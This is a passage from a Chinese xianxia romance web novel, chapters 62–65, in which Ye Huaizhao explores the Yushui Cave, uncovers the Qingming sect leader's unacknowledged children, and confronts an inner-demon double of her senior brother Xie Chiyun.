作为师兄,他有些过度的占有欲;作为亲人,他又有着不应有的欲望;可作为爱人,似乎又总是越线的一瞬间退回师兄的位置,在最后一步戛然而止。 他是所有亲密关系的模糊点,是叶怀昭搞不清楚的师兄。 她不想和他一直保持这样模糊的界限。 而这只有先找回她之前的记忆才能实现。 况且。 叶怀昭将灵盘关上,重新蜷缩着闭眼睡觉。 ——追男人就该让他先对她牵肠挂肚、魂牵梦绕。 她给了他那么多甜头,甩一巴掌不告而别怎么啦? 等到第二日越过东境的地界,叶怀昭呼出一口浊气。 宁绥瞥她一眼,冷笑:“今天怎么不担心谢迟云追上来了?” 叶怀昭狠狠瞪了他一眼。 眼见这两人又要吵起来,沈玉山适时提醒道:“两位仙君,青冥台到了。” 叶怀昭转头向下看去。 云雾缭绕的空中,忽然出现了一座巍峨入云的楼阁,隐隐约约露出琉璃瓦的檐角。 随着仙舟的降落,她首先听到了哗啦哗啦巨大的流水声。 三个九段瀑布飞旋落下,水流奔腾,却没有一丝水 珠溅落在仙舟之上。 叶怀昭微微抬起头,看见身后不远处那座高耸入云的楼阁正是位于瀑布的交汇处,像是在水中若隐若现的虚幻影子。 沈玉山看见了她的动作,温声道:“这是凌霄阁,是仙首的住处。” 叶怀昭眨了眨眼,“哦”了一声。 说起来,庄仙首竟然没有和他们一起回青冥台,现在似乎还在无相宫。 这个念头在叶怀昭的心中一闪而过,很快就被打断了。 仙舟降落在一片浅浅荡漾的水中,似乎是叫什么“云水三千”,虽然是浅水,却如履平地。 仙舟外有青冥台的仙师和回门派的几人交谈,沈玉水向他们简单解释了一下叶怀昭几人来东境的原因。 叶怀昭对青冥台没什么兴趣,礼貌拒绝了沈玉山提供落脚处的建议后,转头想向庄丹雪打听一下玉水洞的事情。 但庄丹雪看都不看她一眼,身体力行为诠释避如蛇蝎。 叶怀昭只好放弃了从她这里获得情报。 她正要和桑春等人离开,忽然听到青冥台的那几个修士中有人问道:“你是林漱雪?” 所有人同时回头。 说话的是一个样貌冷肃的男人,瞧上去面色不善。 沈玉山像是也没想到竟然有人能认出林漱雪,怔了一瞬后才向他们介绍道:“这是封堂主。” 林漱雪微微眯了眯眼眸,礼貌问:“封堂主有何事?” 封堂主目光死死盯着她。 他脸上的神色飞速变化,最终定格在一个厌恶嘲讽的状态。 “没什么,”他淡淡道,“只是没想到你这种人竟然还没死。” “……” 他话中的恶意毫不掩饰,在场所有人都被他这幅显而易见的厌恶镇了一瞬。 沈玉山率先回神。 他反应很快地开始给他找补,试图圆场:“林仙君勿怪,封堂主只是在惊讶竟然还能见到自己同时期的熟人。” 封堂主:“我就是字面意思。” 沈玉山脸上温和的笑容头一次有了挂不住的迹象。 叶怀昭此时都觉得他有点可怜。 但直面这些话的林漱雪看起来竟然没有动怒,甚至有点饶有兴趣问道:“你和我有仇吗?” 封堂主厌恶地移开目光:“有没有仇很重要吗?林仙君活了这么久,竟然从未有一刻认为自己不该活在这世上吗?” “我知道你是谁了,”林漱雪弯了弯唇,轻飘飘道:“如果你想问我是否因为那件事而觉得自己需要以死赎罪,我只会告诉你——” 她一字一顿:“从未。” 她风轻云淡的姿态似乎彻底激怒了那位封堂主。 他怒目圆瞪,灵力在他的身周飞速聚拢,以所有人都没有反应过来的速度攻向林漱雪。 谁也没料到他竟然会动手,距离林漱雪最近的叶怀昭在术法攻来的一瞬间条件反射抬剑阻挡。 虽是将大部分的灵力拦了下来,但还是有灵力击中了没有防御的林漱雪。 她被灵力击飞,撞上了身后的仙舟。女子闷哼一声,唇齿间溢出一丝鲜血。 沈玉山头皮发麻地拦住了甚至还想要动手的封堂主。 他半拉半拽,给庄丹雪使了个眼神,让对方赶紧把林漱雪带走。 庄丹雪一百个不情愿,她一丁点也不想再见叶怀昭。 但她好歹分得清轻重缓急,带着叶怀昭和林漱雪几人向偏殿走。 即便如此,叶怀昭还是听到身后男人愤怒的声音。 “林漱雪,你这个罪人,你本就该以死给他们赔罪!” 偏殿大门“嘭”的一声关上。 庄丹雪去药堂帮他们拿药。没过多久,沈玉山也来了偏殿。 他解释说封堂主因为一些事情而性情大变,格外偏激,非常诚恳地代替他,对林漱雪表达了歉意。 他说在林漱雪伤好前,随时都可以来青冥台的药堂疗伤。 林漱雪不太在意道:“不用,这是我和他之间的事情,和青冥台无关。” 沈玉山又说了几句软话,留下疗伤的丹药,很有眼力劲的离开了。 他一走,叶怀昭就转头说:“林前辈,你真的不和我们一起走吗?” 她看了一眼林漱雪的伤口,忧心忡忡:“万一那个封堂主再找来了怎么办?” 人是她带到青冥台的,总不能在她的眼皮子底下被欺负吧? 况且这可是她亲爹的大徒弟——虽然是前大徒弟。 林漱雪:“不用担心。” 她笑了一声:“我来这里,就是为了找他的。” 第63章 第六十三章【无论怎样,我都会将你抓…… 林漱雪的身上有很多秘密。 叶怀昭能感觉到,没有回长风门的这些年中,林漱雪似乎一直在寻找什么。 从南境到北境,再由北境到东境,她一直在追查着某件事情。 林漱雪对她一直抱有某种微妙的补偿心理,或许是叶珩的影响,让她对自己这个前师尊的女儿态度很好。 若是她再多说几句话,林漱雪大约也不会拒绝她的请求。 但直到几人离开青冥台,叶怀昭也没有开口问过她所查之事。 “你不帮她吗?”桑春问道。 叶怀昭:“她大概只想自己来洗刷当初的冤屈。” 要不然也不会几十年中从未踏入长风门一步。 既然叶怀昭这么说了,桑春耸耸肩,将调查林漱雪的事情放下,转而道:“听说谢迟云回长风门了。” 叶怀昭:“他爱回哪里回哪里,关我什么事?” 桑春:“你说这话的时候,能不能放过你碗里的馄饨?” 再戳可就成面皮汤了。 叶怀昭把筷子一撇,哼哼着说:“你说他是不是心虚?他是不是在无忘川中做了什么很对不起我的事情,所以才不敢来东境?” 桑春虽然一向秉持“从不心疼男人”的精神,但她觉得在这个方面乘玉仙君完全可以说一声冤。 据她所知,青冥台的仙舟离开还没半日,乘玉仙君便准备直接御剑来追青冥台的仙舟。 但他似乎被她师尊拦下了。 而长风门的仙舟也没等到第二日,就提前启程回了长风门。 看起来像是长风门出了什么事,但不是大事,只与谢迟云有关,否则叶怀昭也不会只被叶掌门骂了一顿就任由她在外面不回家了。 桑春神游天外,听着对面的少女嘀嘀咕咕地说师兄长师兄短,骂了好一会才想起来正题,对她道:“林前辈说玉水洞只在每月下旬开启,我们还得再等一天才能进去。” 桑春回神:“你东西都买好了?” 玉水洞位于深海,必不可少的就是各种辟水的符箓,万一在灵力用不了的地方,只能依靠符箓救命。 叶怀昭:“宁绥去买了。” 说曹操曹操到,叶怀昭面前的桌上忽地出现了一个巨大的木匣,砸在桌面上发出“嘭”的一声巨响。 身上带着潮湿水意的男人坐在她的身旁,毫不客气说:“东西买来了,给钱。” 叶怀昭:“不是给你了吗?” 宁绥:“叶大小姐以为只有你能想到买符箓吗?” 要不是他身上的伤还没好,谁要买五块灵石一张的天一生水符,那群商人真敢狮子大开口。 桑春起身去结账,叶怀昭一边给他掏钱,一边抱怨说:“你能不能收敛点你的脾气?不就是被拒绝了吗,至于这么要死要活的?” “谁告诉你我被拒绝了?”宁绥盯着她,“师尊只是不知道怎么回答,需要一点时间思考,她没有拒绝我。” “更何况,是她亲手将我从戒律堂中救出来的,她还在意我。” 叶怀昭敷衍点头:“嗯嗯,无妄仙尊还在意你。” 她觉得宁绥这人也挺偏执的。 家破人亡后被涂因所救,无妄仙尊取“宁绥”这个名字明明是想让他以后一生顺遂喜乐,偏偏他自己活成了“宁为玉碎不为瓦全”的模样。 无妄仙尊不回应他的试探,于是就把自己折腾进戒律堂奄奄一息,逼着对方承认对他的在意。 也是无妄仙尊性子温 柔,叶怀昭设想了一下,如果她师兄敢这么逼她,她一定先让谢迟云在戒律堂中关上十天半月再说。 三人在客栈中休息了一夜,第二日天亮便准备离开。 玉水洞在深海之中,想要去往玉水洞首先要赶往距离最近的望水城,再从望水城乘坐专门的船只进入。 前往望水城的路程不近,三人为了保存灵力不约而同选择了马车。 前往望水城的路每隔几年都有青冥台的人维护,坐在马车上时没有寻常土路的摇摇晃晃,再加上驾车人的技术高超,叶怀昭甚至还有些昏昏欲睡。 她靠着桑春开始打盹,不知是不是昨日提到了谢迟云,在这短短的几个时辰间竟然又梦到了他。 这次的场景不在西翠谷,也不在长风门。 像是也在路途当中,她和谢迟云坐在摇晃的马车中。 梦里的一切都是恍惚朦胧的,马车的帘子掀开,叶怀昭却看不清窗外的景象,只能看到融金般的日光落到男人规规矩矩放在膝盖上的双手。 她抬起头,借着日光打量男人的脸庞。 他的墨发被玉冠束起,眼睫下淡色的阴影呼吸轻颤,浅色的瞳孔被日光晕染,随着马车的颠簸而轻轻漾起,像是投入石子激起的层层涟漪。 ——这次的师兄,看起来和现在没什么区别,是二十岁吗? 现在的叶怀昭思索着,可梦中的她并不在意这点。 她似乎和谢迟云说了什么,于是坐在她对面的男人无奈地向她伸出手,干燥冰凉的手掌贴住了她的手。 他们的掌根相抵,叶怀昭稍微蜷缩的手指被他常年持剑带茧的手指一节节捋直,最终没有一丝缝隙的、掌根贴着掌根,手指贴着手指。 他的手比叶怀昭的手大了整整一圈。 叶怀昭低头看着,为这极显眼的差别稍微走神。 可梦中的她似乎很是不满,嘀嘀咕咕说着什么话,而坐在她对面的男人一直含笑着应和。 但是马车忽地颠簸一瞬, 没防备的少女身体一歪,眼见就要撞上旁边的厢壁上,男人手腕一翻便攥住她向后缩回的手指,顺势将她的手完全包裹住。 像是捧着一团洁白柔软的新雪。 她听到自己甩着手,抱怨说师兄你能不能不要那么使劲,骨头都要被你捏碎了。 而谢迟云慢吞吞地收回手,却弯着眼眸说: “如果不攥紧,师妹不就溜下去了吗?” 日光浸在他清透的眼眸,说话的声音却好像穿过梦境,在叶怀昭的心中突兀响起。 【无论怎样,我都会将你抓住。】 叶怀昭差点在马车的颠簸中摔下座位。 桑春一把将她拉住,莫名其妙问:“你梦到什么了?怎么打个盹还能这么大反应?” 叶怀昭惊魂未定地坐在位置上。 她摸了摸自己的心口,一时间竟然真的没法分辨清楚那最后一句到底是做梦,还是谢迟云真的在她的心中说了那句话。 因为这段插曲,叶怀昭一直觉得有些心神不宁,像是转个弯就能看到自己师兄站在前方等着她,面色的微笑明明暗暗。 不过在到达望水城后,她的注意力就被即将前往的玉水洞占据了。 他们到达时正是日落黄昏,三人随便找了个地方吃了口饭,就准备去望水城入东海的码头。 近夜时不宜出海,但对专门前往玉水洞的修士而言,临近夜晚才是最忙碌的时候。 岸边停泊着不少渔船,但也有不少镶嵌夜明石的仙家船舶停在此处,光亮将近岸的一线映照得如同白日。 叶怀昭打发宁绥去找能尽快出海的船舶,她和桑春两人去青冥台的临时办事处登记信息。 今日是玉水洞开启的第一日,登记的修士排了长队,等轮到叶怀昭和桑春的时候已经过去了将近一刻钟。 她们还正好碰到了熟人。 封爻一见叶怀昭,那张冷肃的脸神色越发难看。 叶怀昭假装没看到的神色变化,若无其事说:“封堂主,真巧。” 封爻冷冷瞥了她一眼,惜字如金:“几个人,什么门派,叫什么名字。” 叶怀昭:“三个人。长风门叶怀昭、桑春;无相宫宁绥。” 没听见林漱雪的名字,男人的脸色才稍微回暖了一些。 他将带有青冥台宗徽的准许符文递给叶怀昭,照例提醒道:“玉水洞隔两日开启一次出口,出口位置随机,须在月底前找到出口离开,否则便会被吞噬于深海。勿要贪心。” 叶怀昭收了符文,却没离开,而是问道:“封堂主可知这玉水洞的尽头如何寻找吗?” 封堂主的脸皮抽动,瞥她一眼:“有缘自会找到。” 这说了和没说有什么区别? 叶怀昭在心中想着,转身和桑春离开登记处,在岸边找到了宁绥。 宁绥:“有一条船马上就要离开,但需要和其他人拼座。” 叶怀昭和桑春都没有意见,三人将准许符文交给驶船的修士,挑着空位坐下。 驶船的修士是个沉默寡言的男人,但坐船的却有几个自来熟的话痨。 其中有一个人认出了叶怀昭和宁绥,问他们来玉水洞是去找秘宝还是找天命芝的。 天命芝是玉水洞特有的一种灵芝,可以温养魂魄,是修补魂魄的一味珍稀药材。 叶怀昭随口应付了几句,问他们为什么要找天命芝。 修士道:“当然是因为东境的药贩子最近在高价收购天命芝啊。” 叶怀昭问他多高的价,修士给她比了个数字,叶怀昭顿时开始思考要不要在寻找玉水洞尽头的同时顺便收集些天命芝。 这时,一个大约十六七岁的少年冷哼一声:“说是东境的药贩子在收购,实际就是他们青冥台在收购吧。” 他说的话听起来很有道理。 这么高的价格,一定是有某个大人物在短时间内需要购买大量天命芝,才会让唯利是图的商人将收购价拔高这么多。 而在东境,有能力吞下那么多天命芝的大人物不多,但基本上都与青冥台有着千丝万缕的关系。 只是这少年说话的意思像是和青冥台很不对付一样。 恰好此时船舶靠岸,玉水洲岸边的光亮一晃而过。 借着夜明石的光,叶怀昭歪头打量着少年,漫不经心的心神忽地一顿。 她的眼中渐渐有些微妙。 ——这少年怎么长得和庄丹雪那么像? 下了船,在进去玉水洞前,叶怀昭还是没忍住问了一句:“你认识庄丹雪吗?” 那少年脸上的神色一僵。 而后他上下扫了一眼叶怀昭,忽地冷哼一声,一个字也没说就走了。 叶怀昭:“?” 宁绥旁观她的碰壁,说:“你傻吗?和庄丹雪长得这么像的人还能是她的谁?青冥台只有庄丹雪一个大小姐,可不代表庄仙首只有这一个女儿。” 叶怀昭有些稀奇:“所以他来玉水洞又是为什么?证明自己不比庄丹雪差吗?” 这个问题除了那疑似庄仙首私生子的少年外没人能回答她。 好在叶怀昭也没在意,只是随口一说,很快便和另外两人一同进了玉水洞。 阴云慢慢将明月遮挡,海面寂静而辽阔。 刚刚将船驶回来的修士去喝了口水,休息片刻后重新回到岸边。 明月黯淡,月色稀薄。他看到一个身穿金纹素袍的青年站在船边,海风将他的衣袍吹得猎猎作响。 衣袂翻飞间,他看到了一双冷淡如冰的浅色眼瞳。 第64章 第六十四章一触 即分 玉水洞是世间三大禁地之一,却也是三大禁地中生还率最高的禁地。 因为玉水洞是由一位仙人大能渡劫失败陨落后,四散的灵力与东海坤脉共振,扰动附近的秘境而形成的禁地。 从根本上来说,这是数十个大型秘境共同形成的秘境群,和无忘川以及白仙府那一类因为环境恶劣而形成的禁地有很大区别。 至少叶怀昭在解决玉水洞的凶兽时,没觉得难度和她之前在平清城秘境砍瓜切菜有什么区别。 “那是因为你破境了。”桑春说。 她的脚下踩着黑白两色的太极八卦阵,“坎”字在水中亮着朦胧的微光。 她像是能精准预料到所有攻击一样,每次都能在凶兽攻过来的前一瞬身形灵活地躲开。水波漾开的瞬间,属于叶怀昭的凌厉剑意穿过空隙,一剑贯穿水傀儡的头颅。 不远处,宁绥指间夹着两张在水下燃烧的六庚符,甲子水将与丁未水/雷神将的虚影几乎占据整个水下宫殿。 随着他的命令,两大神将的眼瞳中同时有金色的符文流转,平缓流动于身周的海水像是被驱动着一样,掀起无数漩涡,将剩余的凶兽全部吞噬撕碎。 叶怀昭在水中摸索着找到宫殿暗门的机关,用力按下。 “咔嚓咔嚓”齿轮旋转的声音轻微响起,一扇大门在她的面前缓缓打开。 叶怀昭穿过大门,双脚终于踩在了平实干燥的地面上。 她从未有一瞬间像现在这样怀念双脚踩实地面的触感。 “终于不用泡在水里了,”桑春跟在她身后出来,感叹说,“再泡下去我都觉得要不会走路了。” 叶怀昭深表赞同。 这是他们进入玉水洞后的第三日,也是泡在水里的第二日。 虽然有避水符让他们不必真的泡在水里,但在水中冰冷潮湿的感觉却怎么也无法驱除,叶怀昭甚至怀疑自己年纪轻轻就要湿气入体得湿痹了。 “这里算是玉水洞的中后段吧。”宁绥打量着周围的环境,转头看叶怀昭,“你那位林前辈怎么说的?” 叶怀昭:“这里是玉水洞的中段,如果想要前往后段,还需要再穿过一段长长的水下空间。” 林漱雪听说叶怀昭要前往玉水洞尽头找回记忆后,详细介绍过玉水洞应该怎么走。 据她所说,如果不去探寻玉水洞的分支只走主干的话,玉水洞大概可以分为前中后三段。 方才他们在那个宫殿杀死的凶兽便是前段的最后一个机关群。 “不过,”叶怀昭眨了眨眼睛道,“林前辈也说过,如果想更快速地进入后段,也有一条捷径可以走。” 桑春:“什么捷径?” “捷径就是找到这处小秘境的法则,更改法则让它直接把我们送到末端。”叶怀昭说。 这个方法听起来有点困难。 但是以他们的修为水平,努努力似乎也不是不能做到。 在场的一个符修一个卜修陷入了沉思。 在这两人思索间,叶怀昭沉心静气用灵识感知着周围的灵力波动。 她走走停停,最后在挂着青铜古灯的一处拐角停了下来。 “这是这处小秘境构造最薄弱的地方,”叶怀昭伸出手,用灵力在自己的脚下画了个标记,对他们道,“如果你们要更改法则,可以从这里试试。” 最终不想再泡在水里好几天的念头占据了上风。 宁绥伸出手,用指尖触碰了一下地面。 他之前在白仙府幻境的时候就操控过幻境,此时再做这种事格外轻车熟路。 属于符修的术法穿过灵力构造的虚幻地面,再抽丝剥茧般将其一点一点破开。 不到片刻,他们脚下的地面慢慢被一张巨大的,灵力脉络交织流淌的网络所替代。 像是露出了皮肤下的血肉经脉。 叶怀昭如此评价。 她看不出来什么,于是桑春和宁绥两个人开始商量一会怎么破坏屏障、怎么更改法则,三言两语间确定好计划。 在动手前,桑春确认般说:“我会尽量将我们传送到末端,但真正落脚在哪里不一定。以防万一,你们最好先把自己身上最厉害的防御阵法用上。” 宁绥:“万一你先把我们的身体劈成两半了怎么办。” 叶怀昭:“没关系,我会给你拼回来,有我在死不了。” 想了想,她又道:“哦,脸上也不会给你留疤,保证不会破相。” 宁绥:“……” 桑春听不下去了:“就算是死也不会让你们尸首分离的。” 宁绥:“……难道就不能不死吗?” 桑春手腕一翻,直接驱动灵力用动作打断了叶怀昭和宁绥的话。 众人脚下巨大的灵力网中,其中一支灵力脉络在一瞬间被掐断,还没等到重新生长,便被术法牵引着强行与另外一支脉络相连。 刺目的光芒让叶怀昭下意识闭上了眼睛。 再睁开眼时,她发现自己已经到了一处狭窄幽暗的牢房中,墙壁上悬挂着沾血的可怖刑具。 叶怀昭:“?” 她还在玉水洞吗?这是给她传送到哪了? 困惑间,叶怀昭的耳边响起一道极熟悉的声音,带着满满的不可置信。 “你们怎么在这里?!” 她回头,看到牢房的角落处站了一个半身染血的少年。 他睁大了那双和庄丹雪一般无二的眼眸,左看右看忽然出现的这三人,匪夷所思:“为什么你们会出现在我的幻境里面?” 叶怀昭:“这是你的幻境?” 桑春:“唔……大概是因为你的幻境距离末端最接近吧。” 少年听不懂什么叫末端,他张张嘴正要开口,牢房外忽地传来锁链拖地的“哗啦哗啦”声响。 他的脸色骤然一变,也顾不上忽然出现的这三人了,冲到栏杆旁试图加固上方的符文。 叶怀昭看到有五六个狱卒正拖着锁链向这边走来,他们皆是双目无神、肤色青灰的样子,甚至有一个狱卒的脑袋还掉了一半,在昏暗的牢狱中瞧上去很是恐怖。 她倒是没被吓到,而是向拼命叠加符文的少年好奇问道:“这是你的心魔吗?” 少年来不及搭理她,随着狱卒的接近脸上的焦急越发明显,豆大的汗珠顺着额头滑落,砸在他颤抖的手背上。 在锁链扬起的一瞬间,他心死地闭上眼睛,等待灭顶的疼痛将他吞没。 就在此时,他的肩膀一紧,耳边响起一声巨响。 他睁开眼睛,惊愕地看着身旁的叶怀昭一手拎着他的胳膊,一手持剑将他叠加了无数加固符文的牢房栏杆斩断。 而那几个围攻过来的狱卒也被另外两人砍掉头颅、摔在一旁了。 他被叶怀昭轻轻松松地带到牢房外,温暖的日光洒在他的脸上,少年呆呆地看着站在他身前的少女。 ……这就是问道大会魁首的实力吗? 之前与她不相上下的庄丹雪,也是这样的实力吗? 叶怀昭没有关心他在想什么,此时她在饶有兴趣地观察周围的环境。 这里的幻境似乎是场景式地改变,叶怀昭身后的牢房在所有人走出后便都消失不见了,取而代之的是另一个极眼熟的地方。 云水三千轻轻荡漾,九段瀑布飞旋落下,远处高耸入云的楼阁隐约闪现。 这里是青冥台。 意识到这点的同时,她听到一个男孩的声音响起:“阿娘,我不想离开你。” 一个衣裳破旧的妇人蹲下,神色严肃说:“不许说这种话。” 男孩怯生生地望着她。 妇人摸了摸他皲裂的脸颊,放柔了声音说:“还记着阿娘之前教你的吗?如果庄仙首问你如今修为如何,你该怎么回答?” 男孩说:“炼魂期,已经学会千山剑法第二式了。” 他说着,又犹豫地问:“如果阿爹不喜欢我,那……” “他不会不喜欢你,”妇人强硬地打断了他的话,下一瞬像是意识到这样会吓到男孩,又强逼着自己露出一个微笑,像是疯魔般喃喃着,“他一定会喜欢你、你是所有孩子中修为天赋最好的一个……你一定会是他唯一的孩子。” 随着画面流动,叶怀昭看到了数十个模样相似的孩子聚集在偏殿中。 他们的父亲甚至都没有露面,只是让沈玉山带着那些孩子挨个测了灵根,问了修为,便给了些银两让他们离开了。 最终留下的只有一个与庄丹雪极为相像的女孩。 青冥台的大门轰然关闭,男孩跟着他佝偻着脊背的母亲,重新回到了 阴暗狭窄的破旧屋舍。 他依旧是那个被指指点点、被骂“没有爹”的野孩子。 画面结束,但在场的四个人却没有一个出声。 叶怀昭轻轻眨了下眼睛。 她好像知道了什么青冥台的密辛。 少年狼狈地撇开脸。 “很可笑吧,就算做了那么多努力,还是连见他一面的资格都没有。”他低声说,“在他的眼中,只有天赋高的人,才能算作他的孩子。” 叶怀昭:“你和庄丹雪都是这么想的?” 少年看着她:“无论我们怎么想,事实不就是这样吗?” 叶怀昭:“事实就是你的亲爹是个混账东西。” 少年:“……” 他有点惊诧地看着对那人毫无畏惧的叶怀昭。 叶怀昭是真心这么想的。 她之前就觉得庄丹雪对战胜她、为青冥台争光的欲望强烈得简直称得上是执念,原以为对方是那种不服输的倔强性格。 结果她竟然是因为想以此来获得自己亲生父亲的注视。 一个父亲当成这样,算作什么父亲? 修真界对于庄黎私生活的传闻,甚至还停留在他痴情于庄丹雪的母亲,于是终生不再娶上。 现在想想也是可笑。 没有再娶,所以有十几个根本不承认的私生子也没关系是吗? 叶怀昭承认庄黎这个仙首当得没什么差错,但抛开仙首的身份,这人简直禽兽不如。 她强逼着自己将那些不好听的话咽下去,问他:“他怎么会有那么多孩子?” 方才见到的孩子数量,甚至都不能以“滥情”来形容。 少年:“……不知道。” 他低着头,说:“他有很多很多的孩子,但是,他只会挑选天赋好的孩子带回青冥台、再进一步筛选。” 一直安静听着的桑春忽然道:“他想要一个天赋最好的孩子,但是庄丹雪并没有被他好好培养。” 叶怀昭听懂了她的话。 如果庄黎想要天赋好的孩子是想要选择优秀的继承人,可叶怀昭并不觉得他有好好培养庄丹雪。沈玉山在青冥台获得的资源比庄丹雪更多。 如果不是想要培养继承人,那他挑选修为天赋好的孩子回来做什么? 思索间,叶怀昭忽然感觉到身后传来前所未有的危机感。 她反应极快地抽剑阻挡,却还是没能快过那重重巨山般磅礴巍峨的剑意,护体屏障被击碎。 她的后背一痛,像是有巨剑落下来极沉重的一击,血腥味瞬间蔓延。 太极八卦阵法和高大的神将同时在叶怀昭的身前亮起,叶怀昭强撑着试图后撤,脚下却忽然一空。 伴随着桑春骤然拔高声音的“小心!”,她脚下的地面塌陷。 幻境在她的身周崩坍,破碎的灵力向上飞起,划过她裸露在外的肌肤,留下细细密密的血痕。 叶怀昭只来得及运起灵力护住自己的心脉,便不受控制地坠入了幽深的黑暗。 但在上方的缺口即将合拢的一瞬间,她看到了一道本不该出现在这里的身影。 谢迟云伸出手,想要像白仙府幻境中那样将她拉住。 可这一次,他没有成功。 他的指尖堪堪擦过叶怀昭的指尖。 ——一触即分。 第65章 第六十五章“我们会有新的誓言。”…… 叶怀昭恢复意识醒来时,只感受到了浑身像是被碾碎的疼痛。 她轻轻嘶气着,扶着最近的墙壁站起身,在黑暗中摸索着身上的伤口。 她记得自己之前在那个少年的幻境中被袭击了,按照那剑法来看,袭击之人或许还是幻境中的庄黎。 只是不知道为什么她身上只有痛感没有伤口,而且为什么只有她脚下的幻境崩塌了。 想到这里,叶怀昭的脑中忽然闪过一个片段。 对了,她好像还在最后看到了谢迟云。 ——他人呢? 叶怀昭的心中刚刚升起这个念头,就听到不远处响起轻缓的脚步声,而后是一道熟悉的声音:“师妹,你在这里吗?” 她转头,正好看到一身白衣的青年出现在道路的尽头,浅色的眼眸在黑暗中散发着幽幽冷光。 在看到叶怀昭的那刻,那人的身形骤然一顿。 “师妹?”他的声音中带着几分试探。 叶怀昭没动。 于是青年主动向她走来。 叶怀昭身周燃烧的火焰一点一点将他身上的黑暗驱散,露出那张清隽俊秀的熟悉脸庞。 谢迟云看着她沾着灰尘和血污的衣袖,担忧地说:“方才庄仙首的一剑是不是击中你了?师妹现在感觉如何?” 叶怀昭站在原地,任由他上上下下地检查。 半晌,少女不着痕迹地收回探查谢迟云灵识的灵力,这才出声叫了他一声:“师兄,你为什么会来这里?” 谢迟云:“因为你在这里。” 他垂着眼,跳跃着火光的眼瞳盯着她的眼睛:“师妹,你又为什么要离开我?” 叶怀昭与他对视。 不知道是不是火光的原因,叶怀昭总觉得谢迟云浅色的眼中像是掺杂了一点深色的印迹,像是琥珀色,又像是滴入水池中的一丝漾开的血。 可他的身上的灵力却没有一丝异样。 叶怀昭心中怀疑,脸上没有任何动摇。 她微微抬着下巴,虽然比面前的青年矮了一个头,气势上却分毫不见弱势。 “我为什么不能离开?”她说,“你只是我的师兄,我有什么一定要留在你身边的理由吗?” “更何况。” 叶怀昭说:“你当年不也走了整整一年吗?” 她的话似乎戳痛了面前男人的软肋,他周身环绕的阴冷气息在一瞬间都凝固了。 趁着这个瞬间,叶怀昭将他推开,快速地打量周围的环境。 这里像是处于水下的幽深洞穴,空气中弥漫着一股潮湿的水汽,滴滴答答的水声不时在石壁的缝隙中响起。 之前进入玉水洞前和另外两人连接的符文还在运转,叶怀昭大致估算了一下,发觉自己好像比他们更快一步到达了玉水洞的末端。 在她的感知中,甚至不远处就是灵力波动极为强烈的地方,疑似就是玉水洞的尽头。 难道是幻境的坍塌让她在机缘巧合下被传送到了这里? 也算是因祸得福吧。 叶怀昭这样想着,抬脚想要向洞穴的尽头走去。 然而她刚刚向前走出一步,手臂就被一道不容置疑的力度拉住了。 “不要走。” 抓住她手臂的男人盯着她,执拗地说:“不要过去,师妹。” 叶怀昭回头看他,拧眉说:“放手。” 找到曾经记忆的机会就在眼前,她怎么可能会放弃? 钳住她胳膊的手纹丝不动,叶怀昭挣扎间心中升起火气,直接运起灵力强行将他推开,转身大步离开。 没走两步,她又一次被抓住了。 这一次还没等叶怀昭开口骂人,就被拉进了一个冰冷的怀抱,那人一只手将她死死按在怀里,另一只按在她的后颈,俯身吻了下来。 叶怀昭的眼眸不由自主地睁大。 措不及防下,她只来得及偏过头,让那冰冷的吻落到了自己的唇角,却没有防备的被跌跌撞撞地压在石壁上,按住她后腰的那只手游移,让她的呼吸一滞。 “谢迟云!”她愤怒叫,“你疯了吗?” 按住她的男人置若罔闻一样,扣着她腰肢的手用力到几乎要将她揉碎在怀中。 叶怀昭拼命地反抗,终于在他的桎梏中挣扎出一丝喘息的空隙,毫不犹豫地一巴掌甩了过去。 “啪——” 清脆的声音在空旷寂寥的洞穴中响起。 叶怀昭眼睛眨也不眨盯着被她一巴掌打偏头的男人,声音一字一顿:“你不是我师兄。” 无论是师兄还是其他什么身份,谢迟云再如何愤怒、生气。 如果她不愿意,他就绝不会更进一步。 少女手腕上的听白剑幻化成形,锋利的剑尖在一刹那间抵住了男人的脖颈。 “你是谁?”叶怀昭冷冷说。 “……” 似乎有幽冷的风穿过洞穴,划过裂缝,带起呜呜咽咽的哭声。 叶怀昭身前的男人沉默着,像是陷入了长久的静默。 她皱了皱眉,剑尖向前递送,压在男人的脖颈上划出一道血痕。 “你是谁。”她重新问了一遍。 那个与谢迟云长着一模一样脸庞的男人动了。 他轻轻抬起手,感知不到疼痛似的抓住了叶怀昭的剑刃,任由手掌被锋利的剑身划破,鲜血顺着凹槽滴滴坠落。 “我是你的师兄,”他说,“自一个人心魔中诞生的谢迟云。” “谢迟云”握着叶怀昭的剑刃,白骨森森裸露,他硬生生地将她的剑压了下去,沾着血的手指按在叶怀昭刚要说话的双唇。 “师妹,你不该来玉水洞的,”他说,“只要你没有来玉水洞、没有想找回之前的记忆,他不会失控,不会让我出现。” “——他依旧只会是你心中那个光风霁月的乘玉仙君。” “谢迟云”叹息一声。 他垂下了那双夹杂着血丝的眼眸,向前一步逼近叶怀昭,额头抵着她的额头。 在极近的距离中,他的声音轻缓:“你不是一直想知道他隐瞒了你什么吗?” “那就看看吧,”男人说,“看看‘我’最不堪、卑劣、堕落的灵魂。” 在与那双眼眸对视的一瞬间,叶怀昭的心神像是被一双无形的大手攥紧,拖入了无边无际的黑暗。 她的眼前闪过无数零零碎碎的片段。 永远燃烧着漆黑火焰的魔界中,“她”站在了悬崖的边缘。 “她”看到无数衣衫褴褛的魔族被佩戴鬼首面具的魔将驱使着,痛哭流涕地下跪,却依旧被投入了冰冷燃烧的火海。 每有一个魔族坠落,脚下的火焰便窜高一截,像是被血肉喂养的猩红色花朵一般,盛开得越发妖艳。 叶怀昭奇异地发觉,自己心中竟然没有任何愤怒、恶心等等情绪。 只有司空见惯的平静。 “她”听见有人在自己身后叫道:“哥哥。” 一个瘦小的男孩走过来,想要拉住“她”的手,被“她”躲开了也没有气馁,而是继续絮絮叨叨说:“我们快走吧,万一被父亲发现我们来了这里,又要挨罚了。” 在男孩猩红色的眼中,叶怀昭看到了“自己”的模样。 这是一个模样清瘦,有着一双暗红色眼眸的男孩。 ——这是她的师兄,谢迟云。 心中的某个隐约猜测被印证,曾经所有的困惑不解在这双眼中全部找到了答案。 在叶怀昭心神恍惚中,两个孩子的对话还在继续。 “他们为什么要被处死?”她听到谢迟云问。 另一个男孩眨了眨眼睛,像是困惑地看了看他,才意识到他在问什么问题。 “没有被处死啦,只是在问他们那个敢偷窃魔将大人粮仓食物的魔族在哪里,”他语气轻松说,“他们一直不说,就只好用这种方法逼迫那个小偷现身了。” 